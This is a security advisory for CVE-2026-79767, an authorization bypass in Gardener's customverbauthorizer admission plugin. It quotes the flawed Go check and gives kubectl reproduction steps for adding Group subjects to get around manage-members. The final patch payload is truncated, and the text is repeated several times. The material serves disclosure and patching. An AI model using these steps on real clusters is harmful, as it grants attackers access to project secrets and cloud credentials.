CVE-2026-79767

Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.

Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.

Overview

The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.

Technical Details

The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states: <img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />

However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:

func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
    if apiequality.Semantic.DeepEqual(oldMembers, members) {
        return false
    }
    if userIsOwner(userInfo, owner) {
        return false
    }
    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
    // ...
    return !oldHumanUsers.Equal(newHumanUsers)
}

The isHumanUser() function at admission.go only matches Kind == "User":

func isHumanUser(subject rbacv1.Subject) bool {
    return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}

Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.

Steps to reproduce

<img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" />

Proof of concept:

1. Verify current project membership and confirm the owner has manage-members permission:

# Project members before the test:
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner

# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes

2. Add a second admin user (test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members:

# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: test-admin-user
#     role: admin

# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no

3. Verify test-admin-user cannot add a human User member (the check works for Users):

$ kubectl patch --as=test-admin-user project local --type=merge -p '{
  "spec": {
    "members": [
      {
        "kind": "User",
        "apiGroup": "rbac.authorization.k8s.io",
        "name": "[email protected]",
        "role": "viewer"
      }
    ]
  }
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"

4. Bypass the check by adding a Group subject instead:

# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
  {
    "op":…

Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.

Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.

Overview

The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.

Technical Details

The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states: <img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />

However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:

func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
    if apiequality.Semantic.DeepEqual(oldMembers, members) {
        return false
    }
    if userIsOwner(userInfo, owner) {
        return false
    }
    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
    // ...
    return !oldHumanUsers.Equal(newHumanUsers)
}

The isHumanUser() function at admission.go only matches Kind == "User":

func isHumanUser(subject rbacv1.Subject) bool {
    return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}

Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.

Steps to reproduce

<img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" />

Proof of concept:

1. Verify current project membership and confirm the owner has manage-members permission:

# Project members before the test:
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner

# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes

2. Add a second admin user (test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members:

# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: test-admin-user
#     role: admin

# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no

3. Verify test-admin-user cannot add a human User member (the check works for Users):

$ kubectl patch --as=test-admin-user project local --type=merge -p '{
  "spec": {
    "members": [
      {
        "kind": "User",
        "apiGroup": "rbac.authorization.k8s.io",
        "name": "[email protected]",
        "role": "viewer"
      }
    ]
  }
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"

4. Bypass the check by adding a Group subject instead:

# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
  {
    "op":…

Gardener: Authorization Bypass via Group Subject Injection in gardener/gardener.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/gardener/gardener from v1.143.0 before v1.143.3, from v1.144.0 before v1.144.2.